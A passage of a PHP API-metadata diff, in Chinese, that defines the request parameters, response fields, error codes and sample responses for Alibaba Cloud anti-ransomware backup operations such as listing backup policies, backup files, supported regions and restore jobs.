'int32', + 'example' => '2', + ], + 'PolicyRegionId' => [ + 'description' => '非阿里云服务器中安装防勒索客户端时选择的备份服务地域ID。', + 'type' => 'string', + 'example' => 'ch-hangzhou', + ], + 'ClientStatus' => [ + 'description' => '防勒索客户端的状态。取值：'."\n" + ."\n" + .'- **running**：状态正常'."\n" + ."\n" + .'- **exception**：状态异常', + 'type' => 'string', + 'example' => 'running', + ], + 'Name' => [ + 'description' => '防勒索防护策略的名称。', + 'type' => 'string', + 'example' => 'SecurityStrategy-20200303', + ], + 'HealthClientCount' => [ + 'description' => '状态为“正常”的客户端的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Id' => [ + 'description' => '防勒索防护策略的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '11', + ], + 'ClientErrorUuidList' => [ + 'description' => '客户端状态**异常**UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '客户端状态**异常**UUID列表。', + 'type' => 'string', + 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****","3bb30859-b3b5-4f28-868f-b0892c98****"]', + ], + ], + 'RemarkedUuidList' => [ + 'description' => '请求参数MachineRemark检索后返回的服务器的UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '请求参数MachineRemark检索后返回的服务器的UUID列表。', + 'type' => 'string', + 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****","3bb30859-b3b5-4f28-868f-b0892c98****"]', + ], + ], + 'UuidList' => [ + 'description' => '防勒索防护策略防护的服务器的UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '防勒索防护策略防护的服务器的UUID列表。', + 'type' => 'string', + 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****","3bb30859-b3b5-4f28-868f-b0892c98****"]', + ], + ], + 'ServiceErrorUuidList' => [ + 'description' => '数据备份异常的服务器的UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '数据备份异常的服务器的UUID列表。', + 'type' => 'string', + 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****","3bb30859-b3b5-4f28-868f-b0892c98****"]', + ], + ], + 'HealthClientUuidList' => [ + 'description' => '状态为**健康**的客户端的UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '状态为**健康**的客户端的UUID列表。', + 'type' => 'string', + 'example' => '["3bb30859-b3b5-4f28-868f-b0892c98****","3bb30859-b3b5-4f28-868f-b0892c98****"]', + ], + ], + 'ServerType' => [ + 'description' => '服务器类型。取值：'."\n" + ."\n" + .'- **OUT_CLOUD**：非阿里云服务器'."\n" + .'- **ALIYUN**：阿里云服务器'."\n" + .'- **TRIPARTITE**：轻量级应用服务器', + 'type' => 'string', + 'example' => 'OUT_CLOUD', + ], + 'LastStatusSyncTime' => [ + 'description' => '防勒索防护策略状态最新更新时间，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1719488535027', + ], + 'PreStatus' => [ + 'description' => '防勒索防护策略的上一次状态。'."\n" + ."\n" + .'- **enabled**：策略已手动启用。'."\n" + ."\n" + .'- **disabled**：策略已手动停用。策略停用后，正在运行的备份任务将停止。'."\n" + ."\n" + .'- **closed**：防勒索容量超出，系统停用策略。', + 'type' => 'string', + 'example' => 'disabled', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 30,\\n \\"Count\\": 3\\n },\\n \\"Policies\\": [\\n {\\n \\"ClientErrorCount\\": 2,\\n \\"Status\\": \\"enabled\\",\\n \\"PolicyVersion\\": \\"2.0.0\\",\\n \\"Policy\\": \\"{\\\\\\"Exclude\\\\\\":[\\\\\\"/bin/\\\\\\",\\\\\\"/usr/bin/\\\\\\",\\\\\\"/sbin/\\\\\\",\\\\\\"/boot/\\\\\\",\\\\\\"/proc/\\\\\\",\\\\\\"/sys/\\\\\\",\\\\\\"/srv/\\\\\\",\\\\\\"/lib/\\\\\\",\\\\\\"/selinux/\\\\\\",\\\\\\"/usr/sbin/\\\\\\",\\\\\\"/run/\\\\\\",\\\\\\"/lib32/\\\\\\",\\\\\\"/lib64/\\\\\\",\\\\\\"/lost+found/\\\\\\",\\\\\\"/var/lib/kubelet/\\\\\\",\\\\\\"/var/lib/ntp/proc\\\\\\",\\\\\\"/var/lib/container\\\\\\",\\\\\\"Windows\\\\\\\\\\\\\\\\\\\\\\",\\\\\\"Python27\\\\\\\\\\\\\\\\\\\\\\",\\\\\\"Program Files (x86)\\\\\\\\\\\\\\\\\\\\\\",\\\\\\"Program Files\\\\\\\\\\\\\\\\\\\\\\",\\\\\\"Boot\\\\\\\\\\\\\\\\\\\\\\",\\\\\\"$RECYCLE.BIN\\\\\\",\\\\\\"System Volume Information\\\\\\\\\\\\\\\\\\\\\\",\\\\\\"Users\\\\\\\\\\\\\\\\Administrator\\\\\\\\\\\\\\\\NTUSER.DAT*\\\\\\",\\\\\\"ProgramData\\\\\\\\\\\\\\\\\\\\\\",\\\\\\"pagefile.sys\\\\\\",\\\\\\"Users\\\\\\\\\\\\\\\\Default\\\\\\\\\\\\\\\\NTUSER.DAT*\\\\\\",\\\\\\"Users\\\\\\\\\\\\\\\\Administrator\\\\\\\\\\\\\\\\ntuser.*\\\\\\"],\\\\\\"ExcludeSystemPath\\\\\\":true,\\\\\\"Include\\\\\\":[],\\\\\\"IsDefault\\\\\\":1,\\\\\\"Retention\\\\\\":7,\\\\\\"Schedule\\\\\\":\\\\\\"I|1630689360|PT24H\\\\\\",\\\\\\"Source\\\\\\":[],\\\\\\"SpeedLimiter\\\\\\":\\\\\\"\\\\\\",\\\\\\"UseVss\\\\\\":true}\\",\\n \\"UpgradeStatus\\": \\"Upgrading\\",\\n \\"ServiceErrorCount\\": 2,\\n \\"PolicyRegionId\\": \\"ch-hangzhou\\",\\n \\"ClientStatus\\": \\"running\\",\\n \\"Name\\": \\"SecurityStrategy-20200303\\",\\n \\"HealthClientCount\\": 2,\\n \\"Id\\": 11,\\n \\"ClientErrorUuidList\\": [\\n \\"[\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\",\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\"]\\"\\n ],\\n \\"RemarkedUuidList\\": [\\n \\"[\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\",\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\"]\\"\\n ],\\n \\"UuidList\\": [\\n \\"[\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\",\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\"]\\"\\n ],\\n \\"ServiceErrorUuidList\\": [\\n \\"[\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\",\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\"]\\"\\n ],\\n \\"HealthClientUuidList\\": [\\n \\"[\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\",\\\\\\"3bb30859-b3b5-4f28-868f-b0892c98****\\\\\\"]\\"\\n ],\\n \\"ServerType\\": \\"OUT_CLOUD\\",\\n \\"LastStatusSyncTime\\": 1719488535027,\\n \\"PreStatus\\": \\"disabled\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询备份策略列表', + ], + 'DescribeBackupFiles' => [ + 'summary' => '查询可恢复的备份文件。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '防勒索策略防护服务器的UUID。', + 'type' => 'string', + 'required' => true, + 'example' => '6d5b361f-958d-48a8-a9d2-d6e82c1a****', + ], + ], + [ + 'name' => 'Path', + 'in' => 'query', + 'schema' => [ + 'description' => '备份策略文件的路径。', + 'type' => 'string', + 'required' => false, + 'example' => '“”', + ], + ], + [ + 'name' => 'SnapshotHash', + 'in' => 'query', + 'schema' => [ + 'description' => '备份文件版本的HASH值。', + 'type' => 'string', + 'required' => true, + 'example' => 'a7f26223ef3974c6fac324cd37713ab65ab618859d20b4039192a5da44d77b63', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'string', + 'deprecated' => false, + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的备份文件的数量。默认值为**10**，表示每页显示10条备份文件。', + 'type' => 'string', + 'required' => true, + 'example' => '10', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '00A60A6D-33E0-5D5A-9B7C-E5D4DCA88148', + ], + 'PageInfo' => [ + 'description' => '页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的备份文件的数量。默认值为**10**，表示每页显示10条备份文件。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '备份文件的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + 'Count' => [ + 'description' => '当前页面显示的备份文件的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + ], + ], + 'BackupFiles' => [ + 'description' => '防勒索备份数据的信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Type' => [ + 'description' => '防护文件的类型。取值：'."\n" + ."\n" + .'- **file**：表示文件。'."\n" + ."\n" + .'- **dir**：表示文件夹。', + 'type' => 'string', + 'example' => 'dir', + ], + 'Name' => [ + 'description' => '策略名称。', + 'type' => 'string', + 'example' => 'Group 1', + ], + 'Subtree' => [ + 'description' => '备份文件子目录的路径。', + 'type' => 'string', + 'example' => 'Python27\\', + ], + 'Size' => [ + 'description' => '备份文件的大小，单位为Byte。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"00A60A6D-33E0-5D5A-9B7C-E5D4DCA88148\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 10\\n },\\n \\"BackupFiles\\": [\\n {\\n \\"Type\\": \\"dir\\",\\n \\"Name\\": \\"Group 1\\",\\n \\"Subtree\\": \\"Python27\\\\\\\\\\",\\n \\"Size\\": 100\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 00A60A6D-33E0-5D5A-9B7C-E5D4DCA88148\\n \\n 1\\n 10\\n 69\\n 10\\n \\n \\n dir\\n Group 1\\n Python27\\\\\\n 100\\n \\n","errorExample":""}]', + 'title' => '查询可恢复的备份文件', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeSupportRegion' => [ + 'summary' => '查看防勒索支持的地域。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '2C0699D3-4107-5A46-A4C4-E129A5967788', + ], + 'SupportRegion' => [ + 'description' => '支持地域列表。', + 'type' => 'array', + 'items' => [ + 'description' => '防勒索支持的地域。取值：'."\n" + ."\n" + .'- **cn-beijing**：华北2（北京）'."\n" + .'- **cn-zhangjiakou**：华北3（张家口）'."\n" + .'- **cn-huhehaote**：华北5（呼和浩特）'."\n" + .'- **cn-hangzhou**：华东1（杭州）'."\n" + .'- **cn-shanghai**：华东2（上海）'."\n" + .'- **cn-shenzhen**：华南1（深圳）'."\n" + .'- **cn-hongkong**：中国香港'."\n" + .'- **cn-north-2-gov-1**：华北2 阿里政务云1'."\n" + .'- **cn-qingdao**：华北1（青岛）'."\n" + .'- **cn-shanghai-finance-1**：华东2金融云（上海）'."\n" + .'- **cn-chengdu**：西南1（成都）'."\n" + .'- **ap-southeast-2**：澳大利亚（悉尼）已关停'."\n" + .'- **ap-southeast-5**：印度尼西亚（雅加达）'."\n" + .'- **eu-central-1**：德国（法兰克福）'."\n" + .'- **us-west-1**：美国（硅谷）'."\n" + .'- **ap-northeast-1**：日本（东京）'."\n" + .'- **us-east-1**：美国（弗吉尼亚）'."\n" + .'- **me-east-1**：阿联酋（迪拜）'."\n" + .'- **cn-shenzhen-finance-1**：华南1 金融云', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"2C0699D3-4107-5A46-A4C4-E129A5967788\\",\\n \\"SupportRegion\\": [\\n \\"cn-hangzhou\\"\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 2C0699D3-4107-5A46-A4C4-E129A5967788\\n cn-hangzhou\\n","errorExample":""}]', + 'title' => '查看防勒索支持的地域', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeUserBackupMachines' => [ + 'summary' => '查询启用了防勒索备份策略的服务器。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA04B21', + ], + 'Machines' => [ + 'description' => '启用备份策略的服务器的信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '已启用备份策略的服务器的UUID。', + 'type' => 'string', + 'example' => 'D0D6E6E4-CB8C-4897-B852-46AEFDA0****', + ], + 'PolicyName' => [ + 'description' => '服务器启用的策略的名称。', + 'type' => 'string', + 'example' => 'policy_name_A', + ], + 'Id' => [ + 'description' => '服务器启用的策略的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '123', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"D0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\",\\n \\"Machines\\": [\\n {\\n \\"Uuid\\": \\"D0D6E6E4-CB8C-4897-B852-46AEFDA0****\\",\\n \\"PolicyName\\": \\"policy_name_A\\",\\n \\"Id\\": 123\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\nD0D6E6E4-CB8C-4897-B852-46AEFDA04B21\\n\\n D0D6E6E4-CB8C-4897-B852-46AEFDA0****\\n policy_name_A\\n 123\\n\\n","errorExample":""}]', + 'title' => '查询启用了防勒索备份策略的服务器', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribeRestoreJobs' => [ + 'summary' => '查询防勒索恢复任务（即数据备份）的详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92171', + 'abilityTreeNodes' => [ + 'FEATUREsasK0Q1Y8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '恢复状态。 取值：'."\n" + ."\n" + .'- **RUNNING**：恢复任务执行中'."\n" + .'- **COMPLETE**：恢复任务已完成'."\n" + .'- **FAILED**：恢复任务执行失败'."\n" + .'- **CANCELIN**G：恢复任务取消中'."\n" + .'- **CANCELED**：恢复任务已取消'."\n" + .'- **PARTIAL_COMPLETE**：恢复任务部分成功'."\n" + .'- **CREATED**：恢复任务已创建，但尚未开始启动'."\n" + .'- **EXPIRED**：恢复任务未更新'."\n" + .'- **QUEUED**：恢复任务在等待启动中'."\n" + .'- **CLIENT_DELETED**：防勒索客户端已被删除，任务执行失败'."\n" + ."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'RUNNING', + ], + ], + [ + 'name' => 'MachineRemark', + 'in' => 'query', + 'schema' => [ + 'description' => '执行防勒索恢复任务的服务器的标识符，例如：服务器IP地址或服务器名称。', + 'type' => 'string', + 'required' => false, + 'example' => '1.1.XX.XX', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的恢复任务的数量。默认值为**10**，表示每页显示10条恢复任务。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '10', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0ED92280-4363-57D3-A4D3-4D3FBC99B29F', + ], + 'PageInfo' => [ + 'description' => '页面上显示的查询结果信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的恢复任务的数量。默认值为**10**，表示每页显示10条恢复任务。'."\n" + ."\n", + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '查询到的恢复任务的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + 'Count' => [ + 'description' => '查询到的当前结果页面中恢复任务的条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'RestoreJobs' => [ + 'description' => '恢复任务的详细信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Status' => [ + 'description' => '数据备份的状态。 取值：'."\n" + ."\n" + .'- **RUNNING**：恢复任务执行中'."\n" + ."\n" + .'- **COMPLETE**：恢复任务已完成'."\n" + ."\n" + .'- **FAILED**：恢复任务执行失败'."\n" + ."\n" + .'- **CANCELIN**G：恢复任务取消中'."\n" + ."\n" + .'- **CANCELED**：恢复任务已取消'."\n" + ."\n" + .'- **PARTIAL_COMPLETE**：恢复任务部分成功'."\n" + ."\n" + .'- **CREATED**：恢复任务已创建，但尚未开始启动'."\n" + ."\n" + .'- **EXPIRED**：恢复任务未更新'."\n" + ."\n" + .'- **QUEUED**：恢复任务在等待启动中'."\n" + ."\n" + .'- **CLIENT_DELETED**：防勒索客户端已被删除，任务执行失败'."\n" + ."\n", + 'type' => 'string', + 'example' => 'COMPLETE', + ], + 'SnapshotHash' => [ + 'description' => '备份服务器数据时，存储备份数据的快照Hash值。', + 'type' => 'string', + 'example' => 'a3992de83f529b844135fe795d949181735a7d20e0ac8539485c61b7983e618f', + ], + 'SourceClientId' => [ + 'description' => '生成备份数据的防勒索客户端的ID。', + 'type' => 'string', + 'example' => 'c-000gmcypy5dyf9ey3uv7', + ], + 'ErrorFileUrl' => [ + 'description' => '恢复任务失败的CSV文件下载的URL。', + 'type' => 'string', + 'example' => '["/home/user"]', + ], + 'Includes' => [ + 'description' => '恢复文件原所在的目录。该目录是在创建防勒索防护策略时指定的，即需要防护的目录。', + 'type' => 'string', + 'example' => '["/root/disk-uuid-test","/root/install.sh"]', + ], + 'RestoreName' => [ + 'description' => '恢复任务的名称。', + 'type' => 'string', + 'example' => 'Restore', + ], + 'InternetIp' => [ + 'description' => '恢复数据的服务器的公网IP地址。', + 'type' => 'string', + 'example' => '1.1.XX.XX', + ], + 'VaultId' => [ + 'description' => '备份数据存入的仓库的ID。', + 'type' => 'string', + 'example' => 'v-000b0v0jqzmse2yz06zw', + ], + 'ActualBytes' => [ + 'description' => '备份文件的大小，单位为Bytes。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '20', + ], + 'Message' => [ + 'description' => '错误码消息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'Percentage' => [ + 'description' => '恢复任务的进度百分比。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'GmtModified' => [ + 'description' => '恢复任务更新的时间。', + 'type' => 'string', + 'example' => '2021-04-25T19:11Z', + ], + 'RestoreType' => [ + 'description' => '恢复文件的类型。取值：'."\n" + ."\n" + .'- **ECS_FILE**：来自云服务器ECS的文件'."\n" + ."\n" + .'- **FILE**：来自本地主机文件'."\n" + ."\n\n", + 'type' => 'string', + 'example' => 'ECS_FILE', + ], + 'ExitCode' => [ + 'description' => '恢复任务的返回值。 ', + 'type' => 'string', + 'example' => '0', + ], + 'ClientId' => [ + 'description' => '恢复任务客户端的ID。', + 'type' => 'string', + 'example' => 'c-000frxwusjauhp9ajpu6', + ], + 'ItemsDone' => [ + 'description' => '成功恢复的文件的数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'BytesTotal' => [ + 'description' => '需要恢复的数据总量，单位为Bytes。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '20', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0ED92280-4363-57D3-A4D3-4D3FBC99B29F', + ], + 'InstanceName' => [ + 'description' => '需要恢复数据的服务器的名称。', + 'type' => 'string', + 'example' => 'win2012-01', + ], + 'CompleteTime' => [ + 'description' => '恢复任务的完成时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1583289054000', + ], + 'ErrorType' => [ + 'description' => '恢复任务的错误码。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'NONE', + ], + 'SnapshotVersion' => [ + 'description' => '服务器数据的恢复版本（即备份版本）。', + 'type' => 'string', + 'example' => '2020-03-03 18:00', + ], + 'Target' => [ + 'description' => '备份数据存储的目标文件夹。创建恢复任务后，备份数据会恢复至该文件夹中。', + 'type' => 'string', + 'example' => '/home', + ], + 'CreatedTime' => [ + 'description' => '恢复任务的创建时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1583289052000', + ], + 'InstanceId' => [ + 'description' => '需要恢复数据的服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-bp12xnvdax6307gw****', + ], + 'Source' => [ + 'description' => '恢复内容。', + 'type' => 'string', + 'example' => '["/home/admin","\\\\\\\\servername\\\\sharename"]', + ], + 'IntranetIp' => [ + 'description' => '需要恢复数据的服务器的内网IP地址。', + 'type' => 'string', + 'example' => '2.1.XX.XX', + ], + 'ErrorFile' => [ + 'description' => '恢复失败的文件列表的CSV文件名称。', + 'type' => 'string', + 'example' => 's-000f4wxm8f7gur6g2otm.csv', + ], + 'Uuid' => [ + 'description' => '需要恢复备份数据的服务器的UUID。', + 'type' => 'string', + 'example' => '6E3DABB6-3F6A-40DB-9492-2C8B59C****', + ], + 'Excludes' => [ + 'description' => '恢复文件中所排除的目录。该目录是在创建防勒索防护策略时指定的，即无需防护的目录。', + 'type' => 'string', + 'example' => '["/home/user"]', + ], + 'Speed' => [ + 'description' => '数据恢复的速度，单位为Byte/s。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '25766558', + ], + 'SnapshotId' => [ + 'description' => '备份服务器数据时，存储备份数据的快照Hash值ID。', + 'type' => 'string', + 'example' => 's-000gmcypy5dy54e39yny', + ], + 'UpdatedTime' => [ + 'description' => '备份任务最后更新的时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1583289054000', + ], + 'RestoreId' => [ + 'description' => '恢复任务的ID。', + 'type' => 'string', + 'example' => 'r-000gmcypy5dyf9ey3uv7', + ], + 'GmtCreate' => [ + 'description' => '恢复任务创建的时间。', + 'type' => 'string', + 'example' => '2021-04-25T19:11Z', + ], + 'Eta' => [ + 'description' => '进行中的恢复任务的预计完成时间戳，单位为秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1583299054', + ], + 'Duration' => [ + 'description' => '恢复任务的持续时间，单位为秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '100', + ], + 'ErrorCount' => [ + 'description' => '报错的恢复任务的数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'ItemsTotal' => [ + 'description' => '需要恢复的文件的总数量。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '0', + ], + 'BytesDone' => [ + 'description' => '成功恢复的数据总量，单位为Bytes。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '20', + ], + 'VaultRegionId' => [ + 'description' => '备份仓库所属的地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"0ED92280-4363-57D3-A4D3-4D3FBC99B29F\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 2\\n },\\n \\"RestoreJobs\\": [\\n {\\n \\"Status\\": \\"COMPLETE\\",\\n \\"SnapshotHash\\": \\"a3992de83f529b844135fe795d949181735a7d20e0ac8539485c61b7983e618f\\",\\n \\"SourceClientId\\": \\"c-000gmcypy5dyf9ey3uv7\\",\\n \\"ErrorFileUrl\\": \\"[\\\\\\"/home/user\\\\\\"]\\",\\n \\"Includes\\": \\"[\\\\\\"/root/disk-uuid-test\\\\\\",\\\\\\"/root/install.sh\\\\\\"]\\",\\n \\"RestoreName\\": \\"Restore\\",\\n \\"InternetIp\\": \\"1.1.XX.XX\\",\\n \\"VaultId\\": \\"v-000b0v0jqzmse2yz06zw\\",\\n \\"ActualBytes\\": 20,\\n \\"Message\\": \\"successful\\",\\n \\"Percentage\\": 100,\\n \\"GmtModified\\": \\"2021-04-25T19:11Z\\",\\n \\"RestoreType\\": \\"ECS_FILE\\",\\n \\"ExitCode\\": \\"0\\",\\n \\"ClientId\\": \\"c-000frxwusjauhp9ajpu6\\",\\n \\"ItemsDone\\": 0,\\n \\"BytesTotal\\": 20,\\n \\"RequestId\\": \\"0ED92280-4363-57D3-A4D3-4D3FBC99B29F\\",\\n \\"InstanceName\\": \\"win2012-01\\",\\n \\"CompleteTime\\": 1583289054000,\\n \\"ErrorType\\": \\"NONE\\",\\n \\"SnapshotVersion\\": \\"2020-03-03 18:00\\",\\n \\"Target\\": \\"/home\\",\\n \\"CreatedTime\\": 1583289052000,\\n \\"InstanceId\\": \\"i-bp12xnvdax6307gw****\\",\\n \\"Source\\": \\"[\\\\\\"/home/admin\\\\\\",\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\servername\\\\\\\\\\\\\\\\sharename\\\\\\"]\\",\\n \\"IntranetIp\\": \\"2.1.XX.XX\\",\\n \\"ErrorFile\\": \\"s-000f4wxm8f7gur6g2otm.csv\\",\\n \\"Uuid\\": \\"6E3DABB6-3F6A-40DB-9492-2C8B59C****\\",\\n \\"Excludes\\": \\"[\\\\\\"/home/user\\\\\\"]\\",\\n \\"Speed\\": 25766558,\\n \\"SnapshotId\\": \\"s-000gmcypy5dy54e39yny\\",\\n \\"UpdatedTime\\": 